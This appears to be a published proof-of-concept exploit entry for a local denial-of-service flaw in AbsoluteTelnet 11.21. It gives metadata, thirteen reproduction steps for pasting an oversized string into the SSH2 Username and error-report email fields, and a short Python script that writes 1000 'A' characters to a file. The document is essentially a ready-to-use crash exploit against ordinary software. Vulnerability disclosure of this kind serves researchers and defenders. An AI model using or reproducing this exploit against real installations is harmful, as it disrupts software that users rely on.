AbsoluteTelnet 11.21 – ‘Username’ Denial of Service (PoC)
# Exploit Title: AbsoluteTelnet 11.21 - 'Username' Denial of Service (PoC) # Discovered by: Xenofon Vassilakopoulos # Discovered Date: 2020-05-21 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.21.exe # Tested Version: 11.21 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 Professional x86 SP1 # Description: AbsoluteTelnet 11.21 - 'SHA2/Username' and 'Send Error Report' Denial of Service (PoC) # Steps to reproduce: # 1. - Run python script # 2. - Open absolutetelnet.txt and copy content to clipboard # 3. - Open AbsoluteTelnet 11.21 # 4. - Select "new connection file -> Connection -> SSH2" # 5. - Paste the contents at the field "Authentication -> Username" # 6. - press "ok" button # 7. - Crashed # 8. - Reopen AbsoluteTelnet 11.21 # 9. - A new window will appear that prompts you to send an error report # 10.- Open absolutetelnet.txt and copy content to clipboard # 11.- Paste the contents at the field "Your Email Address (optional)" # 12.- press "Send Error Report" button # 13.- Crashed buf = "\x41" * 1000 f = open ("absolutetelnet.txt", "w") f.write(buf) f.close() |